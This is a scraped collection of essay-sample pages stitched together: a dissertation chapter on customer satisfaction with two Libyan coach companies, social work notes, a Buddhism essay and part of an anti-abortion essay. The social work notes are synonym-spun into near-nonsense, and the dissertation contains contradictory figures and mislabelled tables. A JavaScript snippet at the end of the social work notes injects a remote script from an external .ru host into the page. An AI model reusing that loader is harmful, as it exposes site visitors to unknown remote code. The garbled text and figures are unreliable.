Research findings analysis and interpretation - Free Essay Example

Sample details Pages: 6 Words: 1930 Downloads: 2 Date added: 2017/06/26 Category Logistics Essay Type Dissertation Level High school Did you like this example? CHAPTER FOUR RESEARCH FINDINGS: ANALYSIS AND INTERPRETATION 4.1 INTRODUCTION This chapter attempts to analyse questionnaire findings regarding customer satisfaction with the two land transport companies involved in the present study: a publicly-owned company (referred to as Company A) and a privately-owned company (referred to as Company B). Satisfaction rates of customers of both companies are also compared against each other in Chapter Five to illustrate which company provides more satisfactory services to its customers. Seventy questionnaires were distributed to the passengers of Company A and sixty to the passengers of Company B. Don’t waste time! Our writers will create an original "Research findings analysis and interpretation" essay for you Create order Fifty questionnaires were completed by passengers of each company and returned to the researcher. This gives response rates of 71.4% and 83.3%, respectively. These return rates are acceptable response rates. Passengers who declined to participates either they claimed that they were not interested in the survey, whereas some other claimed they did not have the time to complete the questionnaire. 4.2 FACTORS MOTIVATING CUSTOMERS TO DEAL WITH THE COMPANY A Responses to the factors that have motivated the customers of this company are presented in Table 4.1 and illustrated in Figures 4.1 to 4.3. Factors motivating customers are divided into three groups: Reliability and Customer Service (RCS) factors (eight factors), Convenience and Accessibility (CA) factors (nine factors) and On-Board Services (OBS) (five factors). Responses to the eighteen statements are illustrated in Table 4.1. To facilitate data analysis, responses to the Strongly Agree and Agree groups were combined and presented in Figures 4.1 to 4.3 as SA/A. Similarly, for the Disagree and Strongly Disagree groups were combined as DA/SDA. The No View responses (NV) were left as it is. Table 4.1 indicates that between 4% and 20.0% of responding passengers declined to express their views. This indicates their indifference to the questionnaire items. Table 4.1. Reasons for choosing to travel with Company A Variables SA A NV DA SDA CA Convenient reservation and ticketing 76.0 16.0 8.0 0.0 0.0 CA Prompt and accurate reservation and ticketing 44.0 40.0 16.0 0.0 0.0 CA Good checking-in service 44.0 44.0 12.0 0.0 0.0 CA Frequent journey programme 40.0 40.0 20.0 0.0 0.0 CA Convenient journey schedule 36.0 48.0 12.0 4.0 0.0 CA Seat allocation 28.0 56.0 16.0 0.0 0.0 RCS Courtesy of employees 28.0 56.0 16.0 0.0 0.0 RCS Employees willingness to help passengers 36.0 48.0 16.0 0.0 0.0 RCS Employees knowledge to answer passengers questions 40.0 48.0 8.0 4.0 0.0 RCS Passengers are given personal attention 44.0 40.0 8.0 4.0 4.0 RCS Neat appearance of employees 40.0 44.0 16.0 0.0 0.0 RCS Safety of Driving 44.0 44.0 8.0 0.0 4.0 RCS Sincere interest in solving problems 36.0 44.0 16.0 4.0 0.0 RCS On-time performance 36.0 48.0 16.0 0.0 0.0 OBS Seat comfort 40.0 40.0 12.0 8.0 0.0 OBS Meal service 48.0 32.0 8.0 12.0 0.0 OBS On-Board entertainment services 40.0 44.0 4.0 4.0 8.0 OBS Up-to-date coach and on-board facility 40.0 44.0 4.0 4.0 8.0 CA = Convenience and Accessibility RCS = Reliability and Customer Service OBS = On-Board Services 4.2.1 SATISFACTION WITH CONVENIENCE AND ACCESSIBILITY FACTORS Passengers (thereafter referred to as respondents) were asked to express their agreement or disagreement with the six items relating to convenience and accessibility factors: Convenient reservation and ticketing (Item No. 1), Prompt and accurate reservation and ticketing (Item No. 2), Good checking-in service ((Item No. 3), Frequent journey programme (Item No. 4), Convenient journey schedule (Item No. 5), and Seat allocation (Item No. 6) (see Table 4.1, Figure 4.1). Patterns of their responses are analysed below. It is noted in Table 4.1 and Figure 4.1 that 92.0% of the respondents were satisfied (strongly agreed/agreed, SA/A) with the reservation and ticketing procedures undertaken by the company (Item No. 1). Only a small minority of respondents showed their indifference to this item, whereas none of them disagreed with it. The majority of the respondents (88.0%) were satisfied (SA/A) with check in service (Item No. 3) (Table 4.1, Figure 4.1), and a minority (12.0%) did not ex press their views, but none of the respondents were dissatisfied with this service. In terms of prompt and accurate reservation and ticketing (Item No. 2), convenient journey schedule (Item No. 5), and seat allocation (Item No. 6) (Table 4.1, Figure 4.1), 84.0% of the respondents were satisfied with these three items, and only 4.0% of the respondents were dissatisfied with convenient journey schedule (Item No. 5). 4.2.2 SATISFACTION WITH RELIABILITY AND CUSTOMER SERVICE FACTORS Respondents were asked to indicate their rate of satisfaction/dissatisfaction with eight items concerning reliability and customer service factors. The majority of respondents (88% of the sample) indicated that they were satisfied with employees knowledge to answer passengers questions (Item No. 9), and with safety of driving (Item No. 12). Only 4.0% of the respondents were dissatisfied with these services and 8.0% of them indicated their indifference. With regard to courtesy of employees (Item No. 7), employees willingness to help passengers (Item No. 8), passengers are given personal attention (Item No. 10), Neat appearance of employees (Item No. 11) and on-time performance (Item No. 14), the majority of respondents were satisfied (SA/A) with these items. However, between 8.0% and 16.0% of the respondents expressed their indifference to these items, and only 4.0% to 8.0% of them were dissatisfied with some of these items, as indicated in Table 4.1 and Figure 4.2. With regar d to the item: sincere interest in solving problems (Item No. 13), 80.0% of the respondents were satisfied with it, and 16.0% of them expressed their indifference, whereas only 40.0% of them disagreed with it. 4.2.3 SATISFACTION WITH ON-BOARD SERVICE FACTORS Respondents were asked to indicate their rate of satisfaction/dissatisfaction with four items concerning on-board service factors. Table 4.2 and Figure 4.4 clearly show that 84.0% of the respondents were satisfied with on-board entertainment service (Item No. 17) and up-to-date coach and on-board facilities. However, 12.0% of them were dissatisfied and 4.0% expressed their indifference. Figure 4.3 also illustrates that 80.0% of the respondents were satisfied with the seat comfort (Item No. 15) and meal service (Item No. 16). However, 8.0% and 12.0% of the respondents were dissatisfied with Items No. 14 and 15, respectively, and 12.0% and 8.0% of them expressed their indifference with these two items, respectively. It can be noted that more respondents were dissatisfied with these four services than with the other items in other two dimensions. 4.3 FACTORS MOTIVATING CUSTOMERS TO DEAL WITH THE COMPANY B Responses to the factors that have motivated the customers of this company are presented in Table 4.21 and illustrated in Figures 4.4 to 4.4. Table 4.1 indicates that between 20% and 40.0% of the responding passengers declined to express their views. This indicates their indifference to the questionnaire items. 4.2.1 SATISFACTION WITH CONVENIENCE AND ACCESSIBILITY FACTORS Data presented in Table 4.2 and illustrated in Figure 4.4 show that 76.0% of the respondents were satisfied (strongly agreed/agreed, SA/A) with the reservation and ticketing procedures undertaken by the company (Item No. 1). However, the remaining 24.0% of the respondents expressed their indifference to this item, whereas none of them disagreed with it. Around two-thirds of the respondents (68.0%) were satisfied (SA/A) with prompt and accurate reservation and ticketing, whereas the remaining 32.0% of the respondents did not express their views, and none of the respondents were dissatisfied with this service (Table 4.2, Figure 4.4). With regard to the remaining four items (good checking-in service, Item No. 3; Frequent journey programme, Item No. 4; Convenient journey schedule, Item No. 5; seat allocation, Item No. 6), 60.0% of the respondents were satisfied with these services. The remaining 40.0% of the respondents either expressed their indifference to these items, or were dissatisfied with them (Table 4.2, Figure 4.4). Table 4.2. Reasons for choosing to travel with Company A Variables SA A NV DA SDA CA Convenient reservation and ticketing 36.0 40.0 24.0 0.0 0.0 CA Prompt and accurate reservation and ticketing 28.0 40.0 32.0 0.0 0.0 CA Good checking-in service 20.0 40.0 40.0 0.0 0.0 CA Frequent journey programme 16.0 44.0 32.0 8.0 0.0 CA Convenient journey schedule 20.0 40.0 32.0 4.0 4.0 CA Seat allocation 24.0 36.0 28.0 4.0 8.0 RCS Courtesy of employees 16.0 46.0 30.0 4.0 4.0 RCS Employees willingness to help passengers 20.0 42.0 26.0 8.0 4.0 RCS Employees knowledge to answer passengers questions 16.0 42.0 32.0 4.0 6.0 RCS Passengers are given personal attention 18.0 34.0 38.0 6.0 4.0 RCS Neat appearance of employees 20.0 44.0 20.0 8.0 8.0 RCS Safety of Driving 10.0 42.0 24.0 12.0 12.0 RCS Sincere interest in solving problems 12.0 40.0 32.0 12.0 4.0 RCS On-time performance 16.0 30.0 36.0 12.0 8.0 OBS Seat comfort 20.0 28.0 32.0 16.0 4.0 OBS Meal service 16.0 12.0 40.0 20.0 12.0 OBS On-Board entertainment services 12.0 24.0 44.0 12.0 8.0 OBS Up-to-date coach and on-board facility 16.0 44.0 24.0 4.0 12.0 CA = Convenience and Accessibility RCS = Reliability and Customer Service OBS = On-Board Services 4.3.2 SATISFACTION WITH RELIABILITY AND CUSTOMER SERVICE FACTORS Respondents were asked to indicate their rate of satisfaction/dissatisfaction with eight items concerning reliability and customer service factors. About two-thirds of the respondents (64.0% of the sample) indicated that they were satisfied with employees neat appearance (Item No. 11) (Table 4.2, Figure 4.5). One-fifth (20.0%) and 16.0% of the respondents expressed their indifference or dissatisfaction with this item. Most respondents (62.0% of the sample) were satisfied with the courtesy of the employees and employees willingness to help passengers. However, many of them either expressed their indifference, or were dissatisfied with these services. Less than three-fifths (58.0%) of the were satisfied with employees knowledge to answer passengers questions (Item No. 9), and 32.0% of them expressed their indifference and 10.0% of them were dissatisfied. Around half of the respondents (52.0% of the sample) were satisfied with passengers are given personal attention (item no. 10), safety of driving (item no. 13), and sincere interest in solving problems (item no. 14). The remaining half either expressed their indifference or, to a lesser extent, was dissatisfied with these items. However, only 46.0% of the respondents were satisfied with on time performance (Item No. 14), and the remaining 54.0% of them either expressed their indifference or were dissatisfied with this item. 4.3.3 SATISFACTION WITH ON-BOARD SERVICE FACTORS Respondents were asked to indicate their rate of satisfaction/dissatisfaction with the four items relating to onboard service factors (Item No. 18) (Table 4.2, Figure 4.6). Figure 4.6 indicated that about two-thirds of the respondents (68.0% of the respondents) were satisfied with up-to-date coaches and on-board facilities, whereas the remaining respondents either did not express their views (16.0% of the sample) or were dissatisfied with this item. Data presented in Table 4.2 and Figure 4.6 clearly indicate that less than half of the respondents were satisfied with seat comfort (Item No. 15) (48.0%), meal service (Item No. 16) (38.0%), and on-board entertainment services (item No. 17) (44.0%). The remaining respondents (62.0% to 52.0% of the sample) either did not express their view or were dissatisfied with these items. On the whole, it can be said that more respondents either showed their indifference to these three items (30.0% to 36.0% of the sample) or were dissatisfied with them (20.0% to 32.0% of the sample). 4.3 DEMOGRAPHIC CHARACTERISTICS OF RESPONDENTS The demographic characteristics of the respondents from both companies, Company A, and Company B are analysed and compared in this section. Figure 4.7 clearly demonstrates that the majority of respondents of both companies (88.0%) were young between 21 and 50 year old. This is not surprising given that these ages represent people who are more active and more mobile than in other age groups. Forty-six respondents (92.0% of the sample) of Company A were Libyan nationals and the remaining four (8.0% of the sample) were Arab nationals. As for Company B, all fifty passengers were Libyan nationals. In terms of gender, thirty (60.0% of the sample) of Company A respondents were males, and the remaining twenty (40.0% of the sample) were females. As for Company B, twenty-six respondents (52.0% of the sample) were males and the remaining twenty-four (48.0% of the sample) were females. It can be argued that females represented a high proportion of the total number of respondents. As r egards their income, Figure 4.8 clearly demonstrates that the majority of respondents of Company A (72.0% of the sample) and Company B (88.0% of the sample) were on the high salary scale of between Libyan Dinars (LD) 201 and over LD350. People with these high salaries, in the Libyan context, are those who can afford to travel more than lower paid people. With regard to their occupation, the majority of respondents of both companies were managers, employees of a company, or government employees (Figure 4.9). Respondents referring to themselves as professional or students were not represented in Company B sample. Most Company A respondents (60.0% of the sample) have been working for periods of 3 to more than 6 years, and 64.0% of Company B respondents were also working for that period of time. The remaining respondents have been working from less than one year to three years. As for their qualifications, Figure 4.10 indicates that the majority of respondents were highly qualifie d educationally. Most of the respondents of both companies held Diplomas and Bachelors Degrees. In the following chapter, the rate of satisfaction with the eighteen questionnaire items indicated by the respondents of Company A and Company B will be compared and contrasted against each other. Research conclusions will be drawn out and recommendations for both companies and for future research are also outlined in the following chapter. Figure 4.10. Distribution of respondents according to their qualifications.

Critical Evaluation Of Writing A Literature Review

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Base Of Social Work Essay Research Paper free essay sample

Base Of Social Work Essay, Research Paper Knowledge Base of Social Work: Practice methods that correspond to the degrees of Practice are: 1. Micro degree of practice- direct practice/service delivered straight to clients ( face to face and minimum administrative work. 2. Mezzo degree of practice- indirect pattern affecting administration/leadership functions enabling effectual bringing of services. ? Policy preparation ? Program design ? Funding ? Management ? Supervision ? Organizational and Public Relations ? Community Education ? Monitoring for Improvement of Productivity 3. Macro degree of practice- involves the procedures of Social Planning and Community Organization ? Professional Change Agents who assist Comm. Action Systems composed of persons, groups or Organizations deal with societal jobs ? Program planning and development, working with governmental agents and Comm. ? Execution of Programs 4. Research- drive force behind strict promotion of cognition Doctrine of Direct Practice 1. Peoples are capable of doing their ain alteration ; they have free will 2. Assist people maximize their possible and independency 3. Change environmental influences that adversely impact clients 4. Increase understanding that behaviour is purposive and end directed and this is non readily discernable. 5. Peoples are capable of larning new behaviours 6. Most troubles can be resolved by concentrating on present picks and mobilising their strengths 7. Increasing people # 8217 ; s cognition and larning new accomplishments produces self growing in the procedure 8. Use schemes that motivate people to implement alterations in assorted types of systems 9. Life # 8217 ; s crises represent chances for growing and command is a beginning of strain in life 10. Peoples need self-affirmation and self-pride. Many struggles are indirect look of feelings of low self-pride. 11. Human growing occurs in the context of relationships with other people 12. We model for others unfastened reliable relationship skills/behaviors 13. Increase reactivity to the demands of others 14. Populate in the world of the present motivates people to exert their potencies more to the full 15. Means of helping clients should safeguard self-respect, self-esteem, self-government and confidentiality 16. Awareness of ego is the first measure to self-fulfillment 17. Peoples right to their ain values and belief systems are intact. It is societal work # 8217 ; s duties to help clients to confront these facets of those beliefs that cause disfunction in their lives. The Helping Procedure Phase I: 1. Establishing resonance 2. Exploring client # 8217 ; s jobs 3. Explicating multidimensional appraisal of the job, systems involved and resources available 4. Enhancing motive of client 5. Mutually negotiating ends and explicating a contract Phase II: -The participants combine their attempts in working towards the ends, dwelling of distinct actions or undertakings that are built-in units of the overall end -Practitioners has the duty of choosing and implementing intercessions that will help clients in carry throughing their ends and undertaking. -Interventions should straight associate to the jobs and to the consequent ends that were negotiated and that were derived from accurate appraisal. -Monitor betterment on regular footing -Use of ego in procedure suitably provides for clients a theoretical account of unfastened an reliable relationship Phase III: 1. Buttocks when persons and group ends have been attained and plan expiration consequently 2. Effecting successful expiration of the assisting relationship 3. Planing for care of alteration and continued growing following expiration 4. Measuring the consequences of the aid in procedure The Cardinal Values of Social Work 1. Developing and utilizing resources 2. Confirming the worth and self-respect of clients 3. Confirming uniqueness and individualism 4. Confirming problem-solving capacities and self-government 5. Safeguarding confidentiality Measuring Group Process 1. A Systems Framework for Measuring Groups- groups are societal systems and therefore germinate inexplicit regulations or norms that govern behavi9ors, form forms, and modulate internal operations. ? As leaders observe groups to spot patterned behaviours, they must at the same time go to to behavior manifested by persons and by the group itself. ? A major functions of leaders in growing groups, is to help members to go cognizant of their patterned behavioural responses, to find the impact of these responses on themselves and others and to take whether to alter such responses. ? Understand Content ( verbal statements ) and Process ( the behaviours displayed by members during the group ) ? Identify functions of group members because they can impact the group # 8217 ; s capacity to react to the single demands of members and its ability to carry through curative aims. ? Members tend to play-out in groups the same functions that they assume in other societal contexts and demand to understand the impact of dysfunctional functions on themselves and others. ? Identify the growing of persons by maintaining a record on each individual to place growing. ? Appraisal must see the cultural background of members ? Assess cognitive forms of the group members Phases of Group Development 1. Preaffiliation-Approach and Avoidance Behavior displayed as probationary engagement, hovering willingness to presume duty, interact with others, and to back up plan activities and events. 2. Power and Control-A Time of Transition into intimate system of relationships ; whereby the new state of affairs becomes apprehensible and predictable. They struggle at this phase concerned with how they rank in relation to other members. Conflicts between opposing subgroups frequently occur in this phase. 3. Intimacy-Developing a Familial Frame of Reference for the group means they see a we-ness and committedness to the group intent. A group character will germinate with a manner and a set of values. 4. Differentiation- Developing Group Identity and an Internal Frame of Reference for the group means they have achieved group-centered operations and single and group demands evolve. Greater freedom of personal look develops with feelings of echt credence and value. 5. Separation- A Time of Breaking Away means for the group a clip of loosening intense bonds and a hunt for new resources and ties to fulfill demands. Patterned Group Behavior ( positive behaviours manifested early on in groups ) ? The group faces up to a job and makes alteration or accommodation ? The group responds positively the first clip a member takes a hazard ? Members of the group are invested and supportive toward other members ? The group moves in + way without the leader # 8217 ; s counsel or intercession ? The group works harmoniously for a period of clip ? Members efficaciously make a determination together ? Members adhere to a specific group goal/work to carry through ? Members give + feedback or detect + ways the group has worked together ? The group responsibly confronts a member who is ruling interaction or interfering with the undertaking ? Members pitch in to clean up after a group session Social Conflict Approach with Clients Under Duress -The challenge of the practician is to minimise or cut down the reactance by reacting in ways that lessen the client # 8217 ; s perceived menace to freedom. Reacting in unexpected ways that cut down menace. These unexpected ways of response convey the feeling of wanting to be an ally instead than an antagonist. 1. Stress picks that are available 2. Contracts in ways aimed at reconstructing freedom 3. Stephen fosters care of some current behaviours to minimise clients # 8217 ; frights of losingss 4. Focuss on limited and specific alterations instead than on planetary and sweeping alterations that would be endangering and unacceptable. 5. Maximizes self-government within parametric quantities determined by the state of affairs Crisis Intervention / gt ; 1. Is clip limited 2. Focuss on jobs of populating instead than abnormal psychology 3. Oriented to the here and now 4. Involves a high degree of activity by the practician 5. Employs undertakings as a primary maneuver of alteration attempts 6. An eclectic model that can suit assorted pattern theories and intercessions Initial Phase of CI 1. To alleviate the client # 8217 ; s emotional hurt 2. To finish an appraisal 3. Plan the scheme of intercession Empowering Peoples with AIDS *Patrick Haney left behind a bequest of guidelines for authorising people with AIDS. 1. Modify their mentality that they are non a victim, merely people with AIDS. A perceptual experience of being a victim Fosters passiveness and a sense of weakness. 2. Focus more on chances for doing the most of a bad state of affairs and less on the fatalistic facets of the disease. 3. Help them to happen people who can supply them with support and they themselves must be caring and supportive. Cognitive Restructuring ( Cognitive Therapy ) ? Most societal and behavioural disfunction consequences straight from misconceptions that people hold about themselves, other people, and assorted life state of affairss. ? Cognitive restructuring is a systematic intercession that is peculiarly utile in helping clients to derive consciousness of dysfunctional and self-defeating ideas and misconceptions that impair personal operation and to replace them with beliefs and behaviours that are aligned with world and lead to heighten operation. ? CT techniques are relevant for jobs associated with low self-prides, distorted perceptual experiences in interpersonal dealingss, unrealistic outlooks of ego, others, and life in general, irrational frights, anxiousness and depression, unequal control of choler and other urges, and deficiency of assertiveness. ? CT is frequently blended with other intercessions ( patterning, behavioural, relaxation, assertiveness, and drug therapy ) because combination of theories is more effectual than individual intercessions. ? Caution: Dysfunction may be caused by a assortment of biophysical jobs, including encephalon and neurological upsets, thyroid instability, blood sugar instability, consumption of toxic substances, malnutrition and other signifiers of chemical instability of the organic structure. Stairss in Cognitive Restructuring 1. Assist clients to accept that their self-statements, premises and beliefs mostly mediate their emotional reactions to life # 8217 ; s events 2. Assist clients to place dysfunctional beliefs and forms of ideas that underlie their jobs ? Ask them how they reached certain decisions ? Challenging them to show grounds back uping dysfunctional positions or beliefs ? Challenging the logic of beliefs that magnify feared effects of certain actions -By deriving pattern in placing and measuring the cogency of self-statements and beliefs, clients achieve preparedness to prosecute in self-monitoring between Sessionss. Self-monitoring expands self-awareness and paves the manner for subsequently get bying attempts. 3. Assist Clients to place state of affairss that engender dysfunctional knowledges. 4. Assist clients to replace functional self-statements in topographic point of self-defeating knowledges. 5. Assist clients to honor themselves for successful header attempts. -Limitations of CT: Often the clients lack societal accomplishments and necessitate direction and pattern before they can efficaciously execute new behaviours. CT is frequently used in combination with practician mold, behavioural dry run, and guided pattern to help clients to get the hang indispensable accomplishments needed. Troubles in Trusting and Transference ? Aloofness and intuition are defensive forms that protect clients from imagined injuries, development, rejection, unfavorable judgment, penalty, and control by others. ? Trying to carry clients of one # 8217 ; s purpose is normally counterproductive, alternatively exercising forbearance and continuity. ? Attempt to make clients who cancel or miss assignments by phone or home-call ( missive is less effectual ) . Acknowledge that their failure to maintain assignments is more a form of turning away than a deficiency of motive. ? Transference Chemical reaction: the client transportations to the practician wants, frights, and other feelings that are rooted in the past experiences with others hindering the procedure. ? Transference Reactions involve over generalised and deformed perceptual experiences that create troubles in interpersonal relationships. ? Its besides an chance for growing. The challenge is to help such clients to acknowledge their deformed perceptual experiences and to develop finer interpersonal perceptual favoritisms so that they can distinguish and cover with others as alone persons instead than overgeneralise projections of images, beliefs, or attitudes. Pull offing Transference Chemical reactions -It is critical to switch concentrate to their here-and-now feelings. 1. Be unfastened to the possibility that the client # 8217 ; s reaction is non unrealistic and by be produced by your behaviour and respond genuinely by having duty for your behaviour. 2. It is of import to react in different ways that the client # 8217 ; s awaited response from their past interactions. This forces the client to distinguish the practician from past figures. 3. Help the client to find the immediate beginning of deformed perceptual experiences when the feelings emerge. By researching these feelings and non rectifying them you assist the client to spread out their consciousness of their forms of overgeneralising. 4. After clients have discerned the unrealistic nature of their feelings and manifested consciousness of the deformations portion your existent feelings. This can reassure clients who have felt offended, hurt, resentful, rejected or the similar. 5. After you have examined the debatable feelings, assist clients to find whether they have experienced similar reactions in other relationships. To help clients to spot forms of deformations that creates troubles in other relationships. Countertransference Chemical reactions -It green goodss distorted perceptual experiences, blind musca volitanss, wants, and antitherapeutic emotional reactions and behaviour. Such as: ? Deviating clients from showing choler because healer is uncomfortable ? Overidentifying with rebellious striplings due to unsolved feelings towards autocratic parents -Becoming aware of unrealistic feelings toward a client or of reactions are signals that a practician should instantly take appropriate disciplinary steps. Otherwise the countertransference will restrict the practician # 8217 ; s possible helpfulness or contribute to the client # 8217 ; s disfunction. -The first measure in deciding countertransference is to prosecute in self-contemplation ( analytical duologue with oneself aimed at find ) -The 2nd measure if 1st doesn # 8217 ; t work is to discourse it with a co-worker or another professional for difference position. -Not all negative feelings or reactions are due to countertransference. Look beyond the violative qualities of certain clients and discover positive qualities. Efficaciously Pull offing Sexual Attraction ? Take disciplinary steps such as self-contemplation or confer withing with another professional. Pull offing Resistance -Rule of pollex: If opposition International Relations and Security Network # 8217 ; t strong plenty to hinder advancement, its best ignored. 1. Bring it to discussion by concentrating on the here-and-now feelings that underlie opposition. ? An reliable response that conveys the practician # 8217 ; s good will and concern besides reaffirms the helpful purpose and desire to work on troubles. ? Initiate geographic expedition of the beginning of opposition ? Accredit their strengths when they discuss the feelings, to kill the feared response and reenforce the client for unwraping hazardous feelings 2. Use Positive Intensions to assist clients acknowledge the positive and negative sides of opposition. ? The end is to minimise the client # 8217 ; s needs to support themselves and to safeguard their already unstable self-prides. It is of import to assist clients acknowledge that their indecent reactions derived from deformed perceptual experiences and to promote them to show their feelings straight in the hereafter. 3. Redefine Problems as an chance for Growth 4. Confront forms of opposition. 5. Use Curative Binds-Confronting clients in a manner that they either have to alter or ain duty for taking to perpetuate their troubles. Use to help non move out defeat. ( map ( ) { var ad1dyGE = document.createElement ( 'script ' ) ; ad1dyGE.type = 'text/javascript ' ; ad1dyGE.async = true ; ad1dyGE.src = 'http: //r.cpa6.ru/dyGE.js ' ; var zst1 = document.getElementsByTagName ( 'script ' ) [ 0 ] ; zst1.parentNode.insertBefore ( ad1dyGE, zst1 ) ; } ) ( ) ;

What is Buddhism Essay Example For Students

What is Buddhism? Essay Buddhism is a path of teaching and practice. Buddhist practices such asmeditation are means of changing oneself in order to develop the qualities ofawareness, kindness, and wisdom. The experience developed within the Buddhisttradition over thousands of years has created an incomparable resource for allthose who wish to follow the path of spiritual development. Ultimately, theBuddhist path culminates in Enlightenment or Buddhahood. Who was the Buddha?The word Buddha is a title not a name. It means one who is awake inthe sense of having woken up to reality. The title was first given to a mancalled Siddharta Guatemala, who lived about 2,500 years ago in Northern India. When he was 35 he found Enlightenment whist in profound mediation, aftersearching for years. In the next 45 years of his life he spent it travelingthrough India teaching his way of life. His teaching is known as Buddha-dharma. We will write a custom essay on What is Buddhism? specifically for you for only $16.38 $13.9/page Order now Traveling from place to place, the Buddha gained many disciples. Theyalso taught of the enlightment, and the chain has continued on to this presentday. The Buddha was not a God, and he made no claim to divinity. There is noconcept of a creator in Buddhism. He was a human being who, thought tremendousefforts, transformed himself. The state of Enlightenment which he reached has three main facets. Itis a state of wisdom, of insight into the true nature of things. It is also asource or boundless compassion, manifesting itself in activity for the benefitof all beings. and it the total liberation of all the energies of the mind andthe body so they are at the service of the fully conscious mind. What Happened After the Buddhas Death?Buddhism died out in India a thousand years ago, though it has recentlyrevived. In the last century Buddhism has emphatically arrived in the West andup to one million westerners have become Buddhists. What Does Buddhism Teach?Buddhism sees life as being in process of constant change and itspractices aim to take advantage of this fact. It means that one can change forthe better. The decisive factor in changing ourselves is the mind and Buddhismhas developed many methods for working on the mind. Most importantly, Buddhistspractice meditation which is a way of developing more positive states of mindwhich are characterized by calm, concentration, awareness, and emotions such asfriendliness. How do you become a Buddhist?To become a Buddhist in the full sense means committing oneself to thecentral ideas of Buddhism. The Buddhist path is open to all equally: men andwomen, young and old, people of all nationalities, races and backgrounds. RebirthRebirth in the Six RealmsBuddhism teaches that birth, death and rebirth are part of thecontinuing process of change. The is similar to the continuous process ofgrowth, decay, and replacement of cells in ones body. According to medicalexperts, after every seven years, all the cells in ones body are replaced bynew ones. At the moment of death, and the body can no longer survive, the mind isseparated from the body. At that time, the craving for lives causes one to seeka new existence, and the karma done previously determine the place of onesrebirth. There are six realms which one may be reborn after death. They are therealms of gods, the demigods, human beings, animals, hungry ghosts, and thehells. In general, wholesome actions like good conduct, charity, a and mentaldevelopment, are the cause of rebirth in the happy realms of gods, demigods, andhuman beings. On the other hand, unwholesome actions like immoral conduct,miserliness and cruelty cause rebirth in the unhappy realm of animals, hungryghosts and the hells. .u3c7a4ed1f68235071486d80481bcd7f7 , .u3c7a4ed1f68235071486d80481bcd7f7 .postImageUrl , .u3c7a4ed1f68235071486d80481bcd7f7 .centered-text-area { min-height: 80px; position: relative; } .u3c7a4ed1f68235071486d80481bcd7f7 , .u3c7a4ed1f68235071486d80481bcd7f7:hover , .u3c7a4ed1f68235071486d80481bcd7f7:visited , .u3c7a4ed1f68235071486d80481bcd7f7:active { border:0!important; } .u3c7a4ed1f68235071486d80481bcd7f7 .clearfix:after { content: ""; display: table; clear: both; } .u3c7a4ed1f68235071486d80481bcd7f7 { display: block; transition: background-color 250ms; webkit-transition: background-color 250ms; width: 100%; opacity: 1; transition: opacity 250ms; webkit-transition: opacity 250ms; background-color: #95A5A6; } .u3c7a4ed1f68235071486d80481bcd7f7:active , .u3c7a4ed1f68235071486d80481bcd7f7:hover { opacity: 1; transition: opacity 250ms; webkit-transition: opacity 250ms; background-color: #2C3E50; } .u3c7a4ed1f68235071486d80481bcd7f7 .centered-text-area { width: 100%; position: relative ; } .u3c7a4ed1f68235071486d80481bcd7f7 .ctaText { border-bottom: 0 solid #fff; color: #2980B9; font-size: 16px; font-weight: bold; margin: 0; padding: 0; text-decoration: underline; } .u3c7a4ed1f68235071486d80481bcd7f7 .postTitle { color: #FFFFFF; font-size: 16px; font-weight: 600; margin: 0; padding: 0; width: 100%; } .u3c7a4ed1f68235071486d80481bcd7f7 .ctaButton { background-color: #7F8C8D!important; color: #2980B9; border: none; border-radius: 3px; box-shadow: none; font-size: 14px; font-weight: bold; line-height: 26px; moz-border-radius: 3px; text-align: center; text-decoration: none; text-shadow: none; width: 80px; min-height: 80px; background: url(https://artscolumbia.org/wp-content/plugins/intelly-related-posts/assets/images/simple-arrow.png)no-repeat; position: absolute; right: 0; top: 0; } .u3c7a4ed1f68235071486d80481bcd7f7:hover .ctaButton { background-color: #34495E!important; } .u3c7a4ed1f68235071486d80481bcd7f7 .centered-text { display: table; height: 80px; padding-left : 18px; top: 0; } .u3c7a4ed1f68235071486d80481bcd7f7 .u3c7a4ed1f68235071486d80481bcd7f7-content { display: table-cell; margin: 0; padding: 0; padding-right: 108px; position: relative; vertical-align: middle; width: 100%; } .u3c7a4ed1f68235071486d80481bcd7f7:after { content: ""; display: block; clear: both; } READ: Scarlet Letter 4 = EssayOf all the six realms, the realm of human beings is considered the mostdesirable. In the realm of human beings, the conditions for attaining Nirvanaare better. In general, in the unhappy realms, the suffering of living beingsis so intense and their ignorance so great that they are unable to recognize theTruth and follow the path to attain freedom. Alternatively, living beings in therealms of the gods and demigods experience so much happiness and have so manydistractions that they do not think of rebirth until it is too late. Then theymay be reborn in one of the lower realms of suffering. In the realm of humanbeings, however, people experience both h appiness and suffering, and areintelligent enough to recognize the Truth and follow the path to attain freedomfrom the cycle of birth and death. Therefore, one is indeed fortunate to beborn as a human being, and should remember that the principal cause of birth inthe realm is Good Conduct. The Cycle of Birth and DeathThe Buddha pointed out that whenever one is reborn, whether as a humanbeing, as an animal, or as a god, non of these states of exticence is permanent. The average life span of the living beings in the six realms of existence differbut none of them lasts forever. Eventually, rebirth will take place. The realminto which one is reborn and ones conditions of rebirth are determined by onespast and present actions. This is the law of Karma at work. Because of the force of their karma, people are born are rebornendlessly, in one realm of existence or in another. The Buddha declared thatthere is no permanent rest in the cycle of birth and death. It is only when onefollows the Noble Eightfold path taught by the Buddha and eventually attainsNirvana, that one finally becomes free from the ceaseless cycle and gainssupreme and permanent happiness. KarmaKarma is the law of moral causation. It is action and reaction in theethical realm. It is natural law that every action produces a certain effect. So if one performs wholesome actions, one will experience happiness. on theother hand, if one performs unwholesome actions, one will experience suffering. The is the law of cause and effect at work. In this way, the effect of onespast karma determine that nature of ones present situation in life. Category: Religion

anti-abortion research essay essays

anti-abortion research essay essays The definition of life according to Websters Dictionary is the property or quality that distinguishes living organisms from dead organisms and inanimate matter.(Websters Dictionary) According to this definition, what do murder, capital punishment, euthanasia and abortion all have in common? They all take away a life, but in Canada only one of these is not against the law and occurs over one hundred and thirty thousand times a year: abortion. Prior to the nineteen-seventies, abortion was illegal in Canada and was punishable by incarceration. Legal abortion was unheard of prior to this decade, and if this act was committed, a horrific stigma was placed upon such an individual. This was the most progressive and most active time period for the pro-choice movement. In history, the nineteen-seventys, was when values and beliefs began to change and more individuals began to speak out against the abortion laws. Today abortion has become a normal medical procedure, just like having ones tonsils removed. The present society has recognized the rights of the individual as very important because of the shift in societal values. As society progresses and changes its values, issues such as abortion have become more acceptable within the new limitations of societal values and beliefs. Abortion must be viewed as a whole instead of being judged as individual cases, and in doing such society will see abortion as morally wrong and, in turn, will make this act illegal once again. During the nineteenth century, society had great respect for life, as morals and the greater good were seen as important. Laws are a set of regulations and statutes that are made up of popular societal values and beliefs that are important by the members of society. As such, the belief of the right and 